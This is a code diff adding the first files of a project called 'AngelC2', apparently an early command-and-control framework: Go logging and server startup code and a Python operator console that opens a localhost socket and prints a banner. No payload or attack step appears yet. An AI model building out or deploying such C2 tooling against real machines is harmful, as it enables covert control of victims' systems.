+func (m *MultiHandler) Handle(ctx context.Context, record slog.Record) error {
+ for _, h := range m.handlers {
+ _ = h.Handle(ctx, record)
+ }
+ return nil
+}
+
+func (m *MultiHandler) WithAttrs(attrs []slog.Attr) slog.Handler {
+ newHandlers := make([]slog.Handler, len(m.handlers))
+ for i, h := range m.handlers {
+ newHandlers[i] = h.WithAttrs(attrs)
+ }
+ return &MultiHandler{handlers: newHandlers}
+}
+
+func (m *MultiHandler) WithGroup(name string) slog.Handler {
+ newHandlers := make([]slog.Handler, len(m.handlers))
+ for i, h := range m.handlers {
+ newHandlers[i] = h.WithGroup(name)
+ }
+ return &MultiHandler{handlers: newHandlers}
+}
+
+func InitLogger() {
+ logFile, err := os.OpenFile("../angel_api-server.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
+ if err != nil {
+ slog.Default().Error("Error opening log file", "error", err)
+ return
+ }
+
+ fileHandler := slog.NewJSONHandler(logFile, &slog.HandlerOptions{Level: slog.LevelDebug})
+ consoleHandler := slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})
+
+ multiHandler := &MultiHandler{handlers: []slog.Handler{fileHandler, consoleHandler}}
+
+ Logger = slog.New(multiHandler)
+
+ slog.SetDefault(Logger)
+}
+
+func GetLogger() *slog.Logger {
+ if Logger == nil {
+ InitLogger()
+ }
+ return Logger
+}
diff --git a/vv1/server/main.go b/vv1/server/main.go
new file mode 100644
index 0000000..b290d05
--- /dev/null
+++ b/vv1/server/main.go
@@ -0,0 +1,13 @@
+package main
+
+import (
+ "angel_server/conn"
+ "angel_server/extra"
+ "angel_server/logging"
+)
+
+func main() {
+ logging.InitLogger()
+ extra.Init()
+ conn.Start_serv()
+}
\ No newline at end of file
diff --git a/vv1/ssh/config.py b/vv1/ssh/config.py
new file mode 100644
index 0000000..12c251a
--- /dev/null
+++ b/vv1/ssh/config.py
@@ -0,0 +1,2 @@
+class Config:
+ serv_url: str = "127.0.0.1:7775"
diff --git a/vv1/ssh/constants.py b/vv1/ssh/constants.py
new file mode 100644
index 0000000..8e2b0a3
--- /dev/null
+++ b/vv1/ssh/constants.py
@@ -0,0 +1,17 @@
+class Consts:
+ banner: str = """
+ _
+ \`*-.
+ ) _`-.
+ . : `. .
+ : _ ' \
+ ; *` _. `*-._
+ `-.-' `-.
+ ; ` `.
+ :. . \
+ . \ . : .-' .
+ ' `+.; ; ' :
+ : ' | ; ;-.
+ ; ' : :`-: _.`* ;
+[bug] .*' / .*' ; .*`- +' `*'
+ `*-* `*-* `*-*'"""
diff --git a/vv1/ssh/main.py b/vv1/ssh/main.py
new file mode 100644
index 0000000..2710ce1
--- /dev/null
+++ b/vv1/ssh/main.py
@@ -0,0 +1,24 @@
+import base64
+
+from utils.logger import *
+from utils.conn import *
+from utils.mod import *
+from constants import *
+
+__name__ = "AngelC2"
+__version__ = "0.1.0"
+__authors__ = "hk21"
+
+
+class Angel:
+ def __init__(self):
+ Logger()
+ Utils.clear_shell()
+ print(Consts.banner)
+
+ log.info("welc to angel net shell, fellow kitten!")
+ Conn()
+
+
+if __name__ == base64.b64decode(b"QW5nZWxDMg==").decode("utf-8"):
+ Angel()
diff --git a/vv1/ssh/utils/conn.py b/vv1/ssh/utils/conn.py
new file mode 100644
index 0000000..81fde1b
--- /dev/null
+++ b/vv1/ssh/utils/conn.py
@@ -0,0 +1,18 @@
+import socket
+
+from utils.logger import *
+from config import *
+
+
+class Conn:
+ def __init__(self):
+ log.info("Attempting to connect...")
+ self.connect()
+
+ def connect(self):
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as self.s:
+ ip, port = Config.serv_url.split(":")
+ self.s.connect((ip, int(port)))
+ self.s.sendall("cont".encode("utf-8"))
+ data = self.s.recv(1024)
+ log.warning(data.decode("utf-8"))
diff --git a/vv1/ssh/utils/logger.py b/vv1/ssh/utils/logger.py
new file mode 100644
index 0000000..dc6a756
--- /dev/null
+++ b/vv1/ssh/utils/logger.py
@@ -0,0 +1,18 @@
+import logging
+
+log = logging.getLogger(__name__)
+
+
+class Logger:
+ def __init__(self):
+ logging.basicConfig(
+ format="%(levelname)s:%(asctime)s - %(message)s",
+ datefmt="%m/%d/%Y %I:%M:%S %p",
+ )
+ log.setLevel(logging.INFO)
+ form = logging.Formatter(
+ "%(levelname)s:%(asctime)s - %(message)s", datefmt="%m/%d/%Y %I:%M:%S %p"
+ )
+ file_handler = logging.FileHandler("angel.log")
+ file_handler.setFormatter(form)
+ log.addHandler(file_handler)
diff --git a/vv1/ssh/utils/mod.py b/vv1/ssh/utils/mod.py
new file mode 100644
index 0000000..ecec6fd
--- /dev/null
+++ b/vv1/ssh/utils/mod.py
@@ -0,0 +1,11 @@
+import os
+from sys import platform
+
+
+class Utils:
+ @staticmethod
+ def clear_shell():
+ if platform == "win32":
+ os.system("cls")
+ else:
+ os.system("clear")